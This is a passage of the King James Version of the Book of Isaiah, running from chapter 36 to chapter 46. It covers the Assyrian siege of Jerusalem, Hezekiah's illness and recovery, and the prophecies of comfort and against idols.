to me, We trust in the LORD our God: is it not +he, whose high places and whose altars Hezekiah hath taken away, and +said to Judah and to Jerusalem, Ye shall worship before this altar? +36:8 Now therefore give pledges, I pray thee, to my master the king of +Assyria, and I will give thee two thousand horses, if thou be able on +thy part to set riders upon them. + +36:9 How then wilt thou turn away the face of one captain of the least +of my master's servants, and put thy trust on Egypt for chariots and +for horsemen? 36:10 And am I now come up without the LORD against +this land to destroy it? the LORD said unto me, Go up against this +land, and destroy it. + +36:11 Then said Eliakim and Shebna and Joah unto Rabshakeh, Speak, I +pray thee, unto thy servants in the Syrian language; for we understand +it: and speak not to us in the Jews' language, in the ears of the +people that are on the wall. + +36:12 But Rabshakeh said, Hath my master sent me to thy master and to +thee to speak these words? hath he not sent me to the men that sit +upon the wall, that they may eat their own dung, and drink their own +piss with you? 36:13 Then Rabshakeh stood, and cried with a loud +voice in the Jews' language, and said, Hear ye the words of the great +king, the king of Assyria. + +36:14 Thus saith the king, Let not Hezekiah deceive you: for he shall +not be able to deliver you. + +36:15 Neither let Hezekiah make you trust in the LORD, saying, The +LORD will surely deliver us: this city shall not be delivered into the +hand of the king of Assyria. + +36:16 Hearken not to Hezekiah: for thus saith the king of Assyria, +Make an agreement with me by a present, and come out to me: and eat ye +every one of his vine, and every one of his fig tree, and drink ye +every one the waters of his own cistern; 36:17 Until I come and take +you away to a land like your own land, a land of corn and wine, a land +of bread and vineyards. + +36:18 Beware lest Hezekiah persuade you, saying, the LORD will deliver +us. + +Hath any of the gods of the nations delivered his land out of the hand +of the king of Assyria? 36:19 Where are the gods of Hamath and +Arphad? where are the gods of Sepharvaim? and have they delivered +Samaria out of my hand? 36:20 Who are they among all the gods of +these lands, that have delivered their land out of my hand, that the +LORD should deliver Jerusalem out of my hand? 36:21 But they held +their peace, and answered him not a word: for the king's commandment +was, saying, Answer him not. + +36:22 Then came Eliakim, the son of Hilkiah, that was over the +household, and Shebna the scribe, and Joah, the son of Asaph, the +recorder, to Hezekiah with their clothes rent, and told him the words +of Rabshakeh. + +37:1 And it came to pass, when king Hezekiah heard it, that he rent +his clothes, and covered himself with sackcloth, and went into the +house of the LORD. + +37:2 And he sent Eliakim, who was over the household, and Shebna the +scribe, and the elders of the priests covered with sackcloth, unto +Isaiah the prophet the son of Amoz. + +37:3 And they said unto him, Thus saith Hezekiah, This day is a day of +trouble, and of rebuke, and of blasphemy: for the children are come to +the birth, and there is not strength to bring forth. + +37:4 It may be the LORD thy God will hear the words of Rabshakeh, whom +the king of Assyria his master hath sent to reproach the living God, +and will reprove the words which the LORD thy God hath heard: +wherefore lift up thy prayer for the remnant that is left. + +37:5 So the servants of king Hezekiah came to Isaiah. + +37:6 And Isaiah said unto them, Thus shall ye say unto your master, +Thus saith the LORD, Be not afraid of the words that thou hast heard, +wherewith the servants of the king of Assyria have blasphemed me. + +37:7 Behold, I will send a blast upon him, and he shall hear a rumour, +and return to his own land; and I will cause him to fall by the sword +in his own land. + +37:8 So Rabshakeh returned, and found the king of Assyria warring +against Libnah: for he had heard that he was departed from Lachish. + +37:9 And he heard say concerning Tirhakah king of Ethiopia, He is come +forth to make war with thee. And when he heard it, he sent messengers +to Hezekiah, saying, 37:10 Thus shall ye speak to Hezekiah king of +Judah, saying, Let not thy God, in whom thou trustest, deceive thee, +saying, Jerusalem shall not be given into the hand of the king of +Assyria. + +37:11 Behold, thou hast heard what the kings of Assyria have done to +all lands by destroying them utterly; and shalt thou be delivered? +37:12 Have the gods of the nations delivered them which my fathers +have destroyed, as Gozan, and Haran, and Rezeph, and the children of +Eden which were in Telassar? 37:13 Where is the king of Hamath, and +the king of Arphad, and the king of the city of Sepharvaim, Hena, and +Ivah? 37:14 And Hezekiah received the letter from the hand of the +messengers, and read it: and Hezekiah went up unto the house of the +LORD, and spread it before the LORD. + +37:15 And Hezekiah prayed unto the LORD, saying, 37:16 O LORD of +hosts, God of Israel, that dwellest between the cherubims, thou art +the God, even thou alone, of all the kingdoms of the earth: thou hast +made heaven and earth. + +37:17 Incline thine ear, O LORD, and hear; open thine eyes, O LORD, +and see: and hear all the words of Sennacherib, which hath sent to +reproach the living God. + +37:18 Of a truth, LORD, the kings of Assyria have laid waste all the +nations, and their countries, 37:19 And have cast their gods into the +fire: for they were no gods, but the work of men's hands, wood and +stone: therefore they have destroyed them. + +37:20 Now therefore, O LORD our God, save us from his hand, that all +the kingdoms of the earth may know that thou art the LORD, even thou +only. + +37:21 Then Isaiah the son of Amoz sent unto Hezekiah, saying, Thus +saith the LORD God of Israel, Whereas thou hast prayed to me against +Sennacherib king of Assyria: 37:22 This is the word which the LORD +hath spoken concerning him; The virgin, the daughter of Zion, hath +despised thee, and laughed thee to scorn; the daughter of Jerusalem +hath shaken her head at thee. + +37:23 Whom hast thou reproached and blasphemed? and against whom hast +thou exalted thy voice, and lifted up thine eyes on high? even against +the Holy One of Israel. + +37:24 By thy servants hast thou reproached the Lord, and hast said, By +the multitude of my chariots am I come up to the height of the +mountains, to the sides of Lebanon; and I will cut down the tall +cedars thereof, and the choice fir trees thereof: and I will enter +into the height of his border, and the forest of his Carmel. + +37:25 I have digged, and drunk water; and with the sole of my feet +have I dried up all the rivers of the besieged places. + +37:26 Hast thou not heard long ago, how I have done it; and of ancient +times, that I have formed it? now have I brought it to pass, that thou +shouldest be to lay waste defenced cities into ruinous heaps. + +37:27 Therefore their inhabitants were of small power, they were +dismayed and confounded: they were as the grass of the field, and as +the green herb, as the grass on the housetops, and as corn blasted +before it be grown up. + +37:28 But I know thy abode, and thy going out, and thy coming in, and +thy rage against me. + +37:29 Because thy rage against me, and thy tumult, is come up into +mine ears, therefore will I put my hook in thy nose, and my bridle in +thy lips, and I will turn thee back by the way by which thou camest. + +37:30 And this shall be a sign unto thee, Ye shall eat this year such +as groweth of itself; and the second year that which springeth of the +same: and in the third year sow ye, and reap, and plant vineyards, and +eat the fruit thereof. + +37:31 And the remnant that is escaped of the house of Judah shall +again take root downward, and bear fruit upward: 37:32 For out of +Jerusalem shall go forth a remnant, and they that escape out of mount +Zion: the zeal of the LORD of hosts shall do this. + +37:33 Therefore thus saith the LORD concerning the king of Assyria, He +shall not come into this city, nor shoot an arrow there, nor come +before it with shields, nor cast a bank against it. + +37:34 By the way that he came, by the same shall he return, and shall +not come into this city, saith the LORD. + +37:35 For I will defend this city to save it for mine own sake, and +for my servant David's sake. + +37:36 Then the angel of the LORD went forth, and smote in the camp of +the Assyrians a hundred and fourscore and five thousand: and when they +arose early in the morning, behold, they were all dead corpses. + +37:37 So Sennacherib king of Assyria departed, and went and returned, +and dwelt at Nineveh. + +37:38 And it came to pass, as he was worshipping in the house of +Nisroch his god, that Adrammelech and Sharezer his sons smote him with +the sword; and they escaped into the land of Armenia: and Esarhaddon +his son reigned in his stead. + +38:1 In those days was Hezekiah sick unto death. And Isaiah the +prophet the son of Amoz came unto him, and said unto him, Thus saith +the LORD, Set thine house in order: for thou shalt die, and not live. + +38:2 Then Hezekiah turned his face toward the wall, and prayed unto +the LORD, 38:3 And said, Remember now, O LORD, I beseech thee, how I +have walked before thee in truth and with a perfect heart, and have +done that which is good in thy sight. And Hezekiah wept sore. + +38:4 Then came the word of the LORD to Isaiah, saying, 38:5 Go, and +say to Hezekiah, Thus saith the LORD, the God of David thy father, I +have heard thy prayer, I have seen thy tears: behold, I will add unto +thy days fifteen years. + +38:6 And I will deliver thee and this city out of the hand of the king +of Assyria: and I will defend this city. + +38:7 And this shall be a sign unto thee from the LORD, that the LORD +will do this thing that he hath spoken; 38:8 Behold, I will bring +again the shadow of the degrees, which is gone down in the sun dial of +Ahaz, ten degrees backward. So the sun returned ten degrees, by which +degrees it was gone down. + +38:9 The writing of Hezekiah king of Judah, when he had been sick, and +was recovered of his sickness: 38:10 I said in the cutting off of my +days, I shall go to the gates of the grave: I am deprived of the +residue of my years. + +38:11 I said, I shall not see the LORD, even the LORD, in the land of +the living: I shall behold man no more with the inhabitants of the +world. + +38:12 Mine age is departed, and is removed from me as a shepherd's +tent: I have cut off like a weaver my life: he will cut me off with +pining sickness: from day even to night wilt thou make an end of me. + +38:13 I reckoned till morning, that, as a lion, so will he break all +my bones: from day even to night wilt thou make an end of me. + +38:14 Like a crane or a swallow, so did I chatter: I did mourn as a +dove: mine eyes fail with looking upward: O LORD, I am oppressed; +undertake for me. + +38:15 What shall I say? he hath both spoken unto me, and himself hath +done it: I shall go softly all my years in the bitterness of my soul. + +38:16 O LORD, by these things men live, and in all these things is the +life of my spirit: so wilt thou recover me, and make me to live. + +38:17 Behold, for peace I had great bitterness: but thou hast in love +to my soul delivered it from the pit of corruption: for thou hast cast +all my sins behind thy back. + +38:18 For the grave cannot praise thee, death can not celebrate thee: +they that go down into the pit cannot hope for thy truth. + +38:19 The living, the living, he shall praise thee, as I do this day: +the father to the children shall make known thy truth. + +38:20 The LORD was ready to save me: therefore we will sing my songs +to the stringed instruments all the days of our life in the house of +the LORD. + +38:21 For Isaiah had said, Let them take a lump of figs, and lay it +for a plaister upon the boil, and he shall recover. + +38:22 Hezekiah also had said, What is the sign that I shall go up to +the house of the LORD? 39:1 At that time Merodachbaladan, the son of +Baladan, king of Babylon, sent letters and a present to Hezekiah: for +he had heard that he had been sick, and was recovered. + +39:2 And Hezekiah was glad of them, and shewed them the house of his +precious things, the silver, and the gold, and the spices, and the +precious ointment, and all the house of his armour, and all that was +found in his treasures: there was nothing in his house, nor in all his +dominion, that Hezekiah shewed them not. + +39:3 Then came Isaiah the prophet unto king Hezekiah, and said unto +him, What said these men? and from whence came they unto thee? And +Hezekiah said, They are come from a far country unto me, even from +Babylon. + +39:4 Then said he, What have they seen in thine house? And Hezekiah +answered, All that is in mine house have they seen: there is nothing +among my treasures that I have not shewed them. + +39:5 Then said Isaiah to Hezekiah, Hear the word of the LORD of hosts: +39:6 Behold, the days come, that all that is in thine house, and that +which thy fathers have laid up in store until this day, shall be +carried to Babylon: nothing shall be left, saith the LORD. + +39:7 And of thy sons that shall issue from thee, which thou shalt +beget, shall they take away; and they shall be eunuchs in the palace +of the king of Babylon. + +39:8 Then said Hezekiah to Isaiah, Good is the word of the LORD which +thou hast spoken. He said moreover, For there shall be peace and truth +in my days. + +40:1 Comfort ye, comfort ye my people, saith your God. + +40:2 Speak ye comfortably to Jerusalem, and cry unto her, that her +warfare is accomplished, that her iniquity is pardoned: for she hath +received of the LORD's hand double for all her sins. + +40:3 The voice of him that crieth in the wilderness, Prepare ye the +way of the LORD, make straight in the desert a highway for our God. + +40:4 Every valley shall be exalted, and every mountain and hill shall +be made low: and the crooked shall be made straight, and the rough +places plain: 40:5 And the glory of the LORD shall be revealed, and +all flesh shall see it together: for the mouth of the LORD hath spoken +it. + +40:6 The voice said, Cry. And he said, What shall I cry? All flesh is +grass, and all the goodliness thereof is as the flower of the field: +40:7 The grass withereth, the flower fadeth: because the spirit of the +LORD bloweth upon it: surely the people is grass. + +40:8 The grass withereth, the flower fadeth: but the word of our God +shall stand for ever. + +40:9 O Zion, that bringest good tidings, get thee up into the high +mountain; O Jerusalem, that bringest good tidings, lift up thy voice +with strength; lift it up, be not afraid; say unto the cities of +Judah, Behold your God! 40:10 Behold, the Lord GOD will come with +strong hand, and his arm shall rule for him: behold, his reward is +with him, and his work before him. + +40:11 He shall feed his flock like a shepherd: he shall gather the +lambs with his arm, and carry them in his bosom, and shall gently lead +those that are with young. + +40:12 Who hath measured the waters in the hollow of his hand, and +meted out heaven with the span, and comprehended the dust of the earth +in a measure, and weighed the mountains in scales, and the hills in a +balance? 40:13 Who hath directed the Spirit of the LORD, or being his +counsellor hath taught him? 40:14 With whom took he counsel, and who +instructed him, and taught him in the path of judgment, and taught him +knowledge, and shewed to him the way of understanding? 40:15 Behold, +the nations are as a drop of a bucket, and are counted as the small +dust of the balance: behold, he taketh up the isles as a very little +thing. + +40:16 And Lebanon is not sufficient to burn, nor the beasts thereof +sufficient for a burnt offering. + +40:17 All nations before him are as nothing; and they are counted to +him less than nothing, and vanity. + +40:18 To whom then will ye liken God? or what likeness will ye compare +unto him? 40:19 The workman melteth a graven image, and the goldsmith +spreadeth it over with gold, and casteth silver chains. + +40:20 He that is so impoverished that he hath no oblation chooseth a +tree that will not rot; he seeketh unto him a cunning workman to +prepare a graven image, that shall not be moved. + +40:21 Have ye not known? have ye not heard? hath it not been told you +from the beginning? have ye not understood from the foundations of the +earth? 40:22 It is he that sitteth upon the circle of the earth, and +the inhabitants thereof are as grasshoppers; that stretcheth out the +heavens as a curtain, and spreadeth them out as a tent to dwell in: +40:23 That bringeth the princes to nothing; he maketh the judges of +the earth as vanity. + +40:24 Yea, they shall not be planted; yea, they shall not be sown: +yea, their stock shall not take root in the earth: and he shall also +blow upon them, and they shall wither, and the whirlwind shall take +them away as stubble. + +40:25 To whom then will ye liken me, or shall I be equal? saith the +Holy One. + +40:26 Lift up your eyes on high, and behold who hath created these +things, that bringeth out their host by number: he calleth them all by +names by the greatness of his might, for that he is strong in power; +not one faileth. + +40:27 Why sayest thou, O Jacob, and speakest, O Israel, My way is hid +from the LORD, and my judgment is passed over from my God? 40:28 Hast +thou not known? hast thou not heard, that the everlasting God, the +LORD, the Creator of the ends of the earth, fainteth not, neither is +weary? there is no searching of his understanding. + +40:29 He giveth power to the faint; and to them that have no might he +increaseth strength. + +40:30 Even the youths shall faint and be weary, and the young men +shall utterly fall: 40:31 But they that wait upon the LORD shall renew +their strength; they shall mount up with wings as eagles; they shall +run, and not be weary; and they shall walk, and not faint. + +41:1 Keep silence before me, O islands; and let the people renew their +strength: let them come near; then let them speak: let us come near +together to judgment. + +41:2 Who raised up the righteous man from the east, called him to his +foot, gave the nations before him, and made him rule over kings? he +gave them as the dust to his sword, and as driven stubble to his bow. + +41:3 He pursued them, and passed safely; even by the way that he had +not gone with his feet. + +41:4 Who hath wrought and done it, calling the generations from the +beginning? I the LORD, the first, and with the last; I am he. + +41:5 The isles saw it, and feared; the ends of the earth were afraid, +drew near, and came. + +41:6 They helped every one his neighbour; and every one said to his +brother, Be of good courage. + +41:7 So the carpenter encouraged the goldsmith, and he that smootheth +with the hammer him that smote the anvil, saying, It is ready for the +sodering: and he fastened it with nails, that it should not be moved. + +41:8 But thou, Israel, art my servant, Jacob whom I have chosen, the +seed of Abraham my friend. + +41:9 Thou whom I have taken from the ends of the earth, and called +thee from the chief men thereof, and said unto thee, Thou art my +servant; I have chosen thee, and not cast thee away. + +41:10 Fear thou not; for I am with thee: be not dismayed; for I am thy +God: I will strengthen thee; yea, I will help thee; yea, I will uphold +thee with the right hand of my righteousness. + +41:11 Behold, all they that were incensed against thee shall be +ashamed and confounded: they shall be as nothing; and they that strive +with thee shall perish. + +41:12 Thou shalt seek them, and shalt not find them, even them that +contended with thee: they that war against thee shall be as nothing, +and as a thing of nought. + +41:13 For I the LORD thy God will hold thy right hand, saying unto +thee, Fear not; I will help thee. + +41:14 Fear not, thou worm Jacob, and ye men of Israel; I will help +thee, saith the LORD, and thy redeemer, the Holy One of Israel. + +41:15 Behold, I will make thee a new sharp threshing instrument having +teeth: thou shalt thresh the mountains, and beat them small, and shalt +make the hills as chaff. + +41:16 Thou shalt fan them, and the wind shall carry them away, and the +whirlwind shall scatter them: and thou shalt rejoice in the LORD, and +shalt glory in the Holy One of Israel. + +41:17 When the poor and needy seek water, and there is none, and their +tongue faileth for thirst, I the LORD will hear them, I the God of +Israel will not forsake them. + +41:18 I will open rivers in high places, and fountains in the midst of +the valleys: I will make the wilderness a pool of water, and the dry +land springs of water. + +41:19 I will plant in the wilderness the cedar, the shittah tree, and +the myrtle, and the oil tree; I will set in the desert the fir tree, +and the pine, and the box tree together: 41:20 That they may see, and +know, and consider, and understand together, that the hand of the LORD +hath done this, and the Holy One of Israel hath created it. + +41:21 Produce your cause, saith the LORD; bring forth your strong +reasons, saith the King of Jacob. + +41:22 Let them bring them forth, and shew us what shall happen: let +them shew the former things, what they be, that we may consider them, +and know the latter end of them; or declare us things for to come. + +41:23 Shew the things that are to come hereafter, that we may know +that ye are gods: yea, do good, or do evil, that we may be dismayed, +and behold it together. + +41:24 Behold, ye are of nothing, and your work of nought: an +abomination is he that chooseth you. + +41:25 I have raised up one from the north, and he shall come: from the +rising of the sun shall he call upon my name: and he shall come upon +princes as upon morter, and as the potter treadeth clay. + +41:26 Who hath declared from the beginning, that we may know? and +beforetime, that we may say, He is righteous? yea, there is none that +sheweth, yea, there is none that declareth, yea, there is none that +heareth your words. + +41:27 The first shall say to Zion, Behold, behold them: and I will +give to Jerusalem one that bringeth good tidings. + +41:28 For I beheld, and there was no man; even among them, and there +was no counsellor, that, when I asked of them, could answer a word. + +41:29 Behold, they are all vanity; their works are nothing: their +molten images are wind and confusion. + +42:1 Behold my servant, whom I uphold; mine elect, in whom my soul +delighteth; I have put my spirit upon him: he shall bring forth +judgment to the Gentiles. + +42:2 He shall not cry, nor lift up, nor cause his voice to be heard in +the street. + +42:3 A bruised reed shall he not break, and the smoking flax shall he +not quench: he shall bring forth judgment unto truth. + +42:4 He shall not fail nor be discouraged, till he have set judgment +in the earth: and the isles shall wait for his law. + +42:5 Thus saith God the LORD, he that created the heavens, and +stretched them out; he that spread forth the earth, and that which +cometh out of it; he that giveth breath unto the people upon it, and +spirit to them that walk therein: 42:6 I the LORD have called thee in +righteousness, and will hold thine hand, and will keep thee, and give +thee for a covenant of the people, for a light of the Gentiles; 42:7 +To open the blind eyes, to bring out the prisoners from the prison, +and them that sit in darkness out of the prison house. + +42:8 I am the LORD: that is my name: and my glory will I not give to +another, neither my praise to graven images. + +42:9 Behold, the former things are come to pass, and new things do I +declare: before they spring forth I tell you of them. + +42:10 Sing unto the LORD a new song, and his praise from the end of +the earth, ye that go down to the sea, and all that is therein; the +isles, and the inhabitants thereof. + +42:11 Let the wilderness and the cities thereof lift up their voice, +the villages that Kedar doth inhabit: let the inhabitants of the rock +sing, let them shout from the top of the mountains. + +42:12 Let them give glory unto the LORD, and declare his praise in the +islands. + +42:13 The LORD shall go forth as a mighty man, he shall stir up +jealousy like a man of war: he shall cry, yea, roar; he shall prevail +against his enemies. + +42:14 I have long time holden my peace; I have been still, and +refrained myself: now will I cry like a travailing woman; I will +destroy and devour at once. + +42:15 I will make waste mountains and hills, and dry up all their +herbs; and I will make the rivers islands, and I will dry up the +pools. + +42:16 And I will bring the blind by a way that they knew not; I will +lead them in paths that they have not known: I will make darkness +light before them, and crooked things straight. These things will I do +unto them, and not forsake them. + +42:17 They shall be turned back, they shall be greatly ashamed, that +trust in graven images, that say to the molten images, Ye are our +gods. + +42:18 Hear, ye deaf; and look, ye blind, that ye may see. + +42:19 Who is blind, but my servant? or deaf, as my messenger that I +sent? who is blind as he that is perfect, and blind as the LORD's +servant? 42:20 Seeing many things, but thou observest not; opening +the ears, but he heareth not. + +42:21 The LORD is well pleased for his righteousness' sake; he will +magnify the law, and make it honourable. + +42:22 But this is a people robbed and spoiled; they are all of them +snared in holes, and they are hid in prison houses: they are for a +prey, and none delivereth; for a spoil, and none saith, Restore. + +42:23 Who among you will give ear to this? who will hearken and hear +for the time to come? 42:24 Who gave Jacob for a spoil, and Israel to +the robbers? did not the LORD, he against whom we have sinned? for +they would not walk in his ways, neither were they obedient unto his +law. + +42:25 Therefore he hath poured upon him the fury of his anger, and the +strength of battle: and it hath set him on fire round about, yet he +knew not; and it burned him, yet he laid it not to heart. + +43:1 But now thus saith the LORD that created thee, O Jacob, and he +that formed thee, O Israel, Fear not: for I have redeemed thee, I have +called thee by thy name; thou art mine. + +43:2 When thou passest through the waters, I will be with thee; and +through the rivers, they shall not overflow thee: when thou walkest +through the fire, thou shalt not be burned; neither shall the flame +kindle upon thee. + +43:3 For I am the LORD thy God, the Holy One of Israel, thy Saviour: I +gave Egypt for thy ransom, Ethiopia and Seba for thee. + +43:4 Since thou wast precious in my sight, thou hast been honourable, +and I have loved thee: therefore will I give men for thee, and people +for thy life. + +43:5 Fear not: for I am with thee: I will bring thy seed from the +east, and gather thee from the west; 43:6 I will say to the north, +Give up; and to the south, Keep not back: bring my sons from far, and +my daughters from the ends of the earth; 43:7 Even every one that is +called by my name: for I have created him for my glory, I have formed +him; yea, I have made him. + +43:8 Bring forth the blind people that have eyes, and the deaf that +have ears. + +43:9 Let all the nations be gathered together, and let the people be +assembled: who among them can declare this, and shew us former things? +let them bring forth their witnesses, that they may be justified: or +let them hear, and say, It is truth. + +43:10 Ye are my witnesses, saith the LORD, and my servant whom I have +chosen: that ye may know and believe me, and understand that I am he: +before me there was no God formed, neither shall there be after me. + +43:11 I, even I, am the LORD; and beside me there is no saviour. + +43:12 I have declared, and have saved, and I have shewed, when there +was no strange god among you: therefore ye are my witnesses, saith the +LORD, that I am God. + +43:13 Yea, before the day was I am he; and there is none that can +deliver out of my hand: I will work, and who shall let it? 43:14 Thus +saith the LORD, your redeemer, the Holy One of Israel; For your sake I +have sent to Babylon, and have brought down all their nobles, and the +Chaldeans, whose cry is in the ships. + +43:15 I am the LORD, your Holy One, the creator of Israel, your King. + +43:16 Thus saith the LORD, which maketh a way in the sea, and a path +in the mighty waters; 43:17 Which bringeth forth the chariot and +horse, the army and the power; they shall lie down together, they +shall not rise: they are extinct, they are quenched as tow. + +43:18 Remember ye not the former things, neither consider the things +of old. + +43:19 Behold, I will do a new thing; now it shall spring forth; shall +ye not know it? I will even make a way in the wilderness, and rivers +in the desert. + +43:20 The beast of the field shall honour me, the dragons and the +owls: because I give waters in the wilderness, and rivers in the +desert, to give drink to my people, my chosen. + +43:21 This people have I formed for myself; they shall shew forth my +praise. + +43:22 But thou hast not called upon me, O Jacob; but thou hast been +weary of me, O Israel. + +43:23 Thou hast not brought me the small cattle of thy burnt +offerings; neither hast thou honoured me with thy sacrifices. I have +not caused thee to serve with an offering, nor wearied thee with +incense. + +43:24 Thou hast bought me no sweet cane with money, neither hast thou +filled me with the fat of thy sacrifices: but thou hast made me to +serve with thy sins, thou hast wearied me with thine iniquities. + +43:25 I, even I, am he that blotteth out thy transgressions for mine +own sake, and will not remember thy sins. + +43:26 Put me in remembrance: let us plead together: declare thou, that +thou mayest be justified. + +43:27 Thy first father hath sinned, and thy teachers have transgressed +against me. + +43:28 Therefore I have profaned the princes of the sanctuary, and have +given Jacob to the curse, and Israel to reproaches. + +44:1 Yet now hear, O Jacob my servant; and Israel, whom I have chosen: +44:2 Thus saith the LORD that made thee, and formed thee from the +womb, which will help thee; Fear not, O Jacob, my servant; and thou, +Jesurun, whom I have chosen. + +44:3 For I will pour water upon him that is thirsty, and floods upon +the dry ground: I will pour my spirit upon thy seed, and my blessing +upon thine offspring: 44:4 And they shall spring up as among the +grass, as willows by the water courses. + +44:5 One shall say, I am the LORD's; and another shall call himself by +the name of Jacob; and another shall subscribe with his hand unto the +LORD, and surname himself by the name of Israel. + +44:6 Thus saith the LORD the King of Israel, and his redeemer the LORD +of hosts; I am the first, and I am the last; and beside me there is no +God. + +44:7 And who, as I, shall call, and shall declare it, and set it in +order for me, since I appointed the ancient people? and the things +that are coming, and shall come, let them shew unto them. + +44:8 Fear ye not, neither be afraid: have not I told thee from that +time, and have declared it? ye are even my witnesses. Is there a God +beside me? yea, there is no God; I know not any. + +44:9 They that make a graven image are all of them vanity; and their +delectable things shall not profit; and they are their own witnesses; +they see not, nor know; that they may be ashamed. + +44:10 Who hath formed a god, or molten a graven image that is +profitable for nothing? 44:11 Behold, all his fellows shall be +ashamed: and the workmen, they are of men: let them all be gathered +together, let them stand up; yet they shall fear, and they shall be +ashamed together. + +44:12 The smith with the tongs both worketh in the coals, and +fashioneth it with hammers, and worketh it with the strength of his +arms: yea, he is hungry, and his strength faileth: he drinketh no +water, and is faint. + +44:13 The carpenter stretcheth out his rule; he marketh it out with a +line; he fitteth it with planes, and he marketh it out with the +compass, and maketh it after the figure of a man, according to the +beauty of a man; that it may remain in the house. + +44:14 He heweth him down cedars, and taketh the cypress and the oak, +which he strengtheneth for himself among the trees of the forest: he +planteth an ash, and the rain doth nourish it. + +44:15 Then shall it be for a man to burn: for he will take thereof, +and warm himself; yea, he kindleth it, and baketh bread; yea, he +maketh a god, and worshippeth it; he maketh it a graven image, and +falleth down thereto. + +44:16 He burneth part thereof in the fire; with part thereof he eateth +flesh; he roasteth roast, and is satisfied: yea, he warmeth himself, +and saith, Aha, I am warm, I have seen the fire: 44:17 And the residue +thereof he maketh a god, even his graven image: he falleth down unto +it, and worshippeth it, and prayeth unto it, and saith, Deliver me; +for thou art my god. + +44:18 They have not known nor understood: for he hath shut their eyes, +that they cannot see; and their hearts, that they cannot understand. + +44:19 And none considereth in his heart, neither is there knowledge +nor understanding to say, I have burned part of it in the fire; yea, +also I have baked bread upon the coals thereof; I have roasted flesh, +and eaten it: and shall I make the residue thereof an abomination? +shall I fall down to the stock of a tree? 44:20 He feedeth on ashes: +a deceived heart hath turned him aside, that he cannot deliver his +soul, nor say, Is there not a lie in my right hand? 44:21 Remember +these, O Jacob and Israel; for thou art my servant: I have formed +thee; thou art my servant: O Israel, thou shalt not be forgotten of +me. + +44:22 I have blotted out, as a thick cloud, thy transgressions, and, +as a cloud, thy sins: return unto me; for I have redeemed thee. + +44:23 Sing, O ye heavens; for the LORD hath done it: shout, ye lower +parts of the earth: break forth into singing, ye mountains, O forest, +and every tree therein: for the LORD hath redeemed Jacob, and +glorified himself in Israel. + +44:24 Thus saith the LORD, thy redeemer, and he that formed thee from +the womb, I am the LORD that maketh all things; that stretcheth forth +the heavens alone; that spreadeth abroad the earth by myself; 44:25 +That frustrateth the tokens of the liars, and maketh diviners mad; +that turneth wise men backward, and maketh their knowledge foolish; +44:26 That confirmeth the word of his servant, and performeth the +counsel of his messengers; that saith to Jerusalem, Thou shalt be +inhabited; and to the cities of Judah, Ye shall be built, and I will +raise up the decayed places thereof: 44:27 That saith to the deep, Be +dry, and I will dry up thy rivers: 44:28 That saith of Cyrus, He is my +shepherd, and shall perform all my pleasure: even saying to Jerusalem, +Thou shalt be built; and to the temple, Thy foundation shall be laid. + +45:1 Thus saith the LORD to his anointed, to Cyrus, whose right hand I +have holden, to subdue nations before him; and I will loose the loins +of kings, to open before him the two leaved gates; and the gates shall +not be shut; 45:2 I will go before thee, and make the crooked places +straight: I will break in pieces the gates of brass, and cut in sunder +the bars of iron: 45:3 And I will give thee the treasures of darkness, +and hidden riches of secret places, that thou mayest know that I, the +LORD, which call thee by thy name, am the God of Israel. + +45:4 For Jacob my servant's sake, and Israel mine elect, I have even +called thee by thy name: I have surnamed thee, though thou hast not +known me. + +45:5 I am the LORD, and there is none else, there is no God beside me: +I girded thee, though thou hast not known me: 45:6 That they may know +from the rising of the sun, and from the west, that there is none +beside me. I am the LORD, and there is none else. + +45:7 I form the light, and create darkness: I make peace, and create +evil: I the LORD do all these things. + +45:8 Drop down, ye heavens, from above, and let the skies pour down +righteousness: let the earth open, and let them bring forth salvation, +and let righteousness spring up together; I the LORD have created it. + +45:9 Woe unto him that striveth with his Maker! Let the potsherd +strive with the potsherds of the earth. Shall the clay say to him that +fashioneth it, What makest thou? or thy work, He hath no hands? 45:10 +Woe unto him that saith unto his father, What begettest thou? or to +the woman, What hast thou brought forth? 45:11 Thus saith the LORD, +the Holy One of Israel, and his Maker, Ask me of things to come +concerning my sons, and concerning the work of my hands command ye me. + +45:12 I have made the earth, and created man upon it: I, even my +hands, have stretched out the heavens, and all their host have I +commanded. + +45:13 I have raised him up in righteousness, and I will direct all his +ways: he shall build my city, and he shall let go my captives, not for +price nor reward, saith the LORD of hosts. + +45:14 Thus saith the LORD, The labour of Egypt, and merchandise of +Ethiopia and of the Sabeans, men of stature, shall come over unto +thee, and they shall be thine: they shall come after thee; in chains +they shall come over, and they shall fall down unto thee, they shall +make supplication unto thee, saying, Surely God is in thee; and there +is none else, there is no God. + +45:15 Verily thou art a God that hidest thyself, O God of Israel, the +Saviour. + +45:16 They shall be ashamed, and also confounded, all of them: they +shall go to confusion together that are makers of idols. + +45:17 But Israel shall be saved in the LORD with an everlasting +salvation: ye shall not be ashamed nor confounded world without end. + +45:18 For thus saith the LORD that created the heavens; God himself +that formed the earth and made it; he hath established it, he created +it not in vain, he formed it to be inhabited: I am the LORD; and there +is none else. + +45:19 I have not spoken in secret, in a dark place of the earth: I +said not unto the seed of Jacob, Seek ye me in vain: I the LORD speak +righteousness, I declare things that are right. + +45:20 Assemble yourselves and come; draw near together, ye that are +escaped of the nations: they have no knowledge that set up the wood of +their graven image, and pray unto a god that cannot save. + +45:21 Tell ye, and bring them near; yea, let them take counsel +together: who hath declared this from ancient time? who hath told it +from that time? have not I the LORD? and there is no God else beside +me; a just God and a Saviour; there is none beside me. + +45:22 Look unto me, and be ye saved, all the ends of the earth: for I +am God, and there is none else. + +45:23 I have sworn by myself, the word is gone out of my mouth in +righteousness, and shall not return, That unto me every knee shall +bow, every tongue shall swear. + +45:24 Surely, shall one say, in the LORD have I righteousness and +strength: even to him shall men come; and all that are incensed +against him shall be ashamed. + +45:25 In the LORD shall all the seed of Israel be justified, and shall +glory. + +46:1 Bel boweth down, Nebo stoopeth, their idols were upon the beasts, +and upon the cattle: your carriages were heavy loaden; they are a +burden to the weary beast. + +46:2 They stoop, they bow down together; they could not deliver the +burden, but themselves are gone into captivity. + +46:3 Hearken unto me, O house of Jacob, and all the remnant of the +house of Israel, which are borne by me from the belly, which are +carried from the womb: 46:4 And even to your old age I am he; and even +to hoar hairs will I carry you: I have made, and I will bear; even I +will carry, and will deliver you. + +46:5 To whom will ye liken me, and make me equal, and compare me, that +we may be like? 46:6 They lavish gold out of the bag, and weigh +silver in the balance, and hire a goldsmith; and he maketh it a god: +they fall down, yea, they worship. + +46:7 They bear him upon the shoulder, they carry him, and set him in +his place, and he standeth; from his place shall he not remove: yea, +one shall cry unto him, yet can he not answer, nor save him out of his 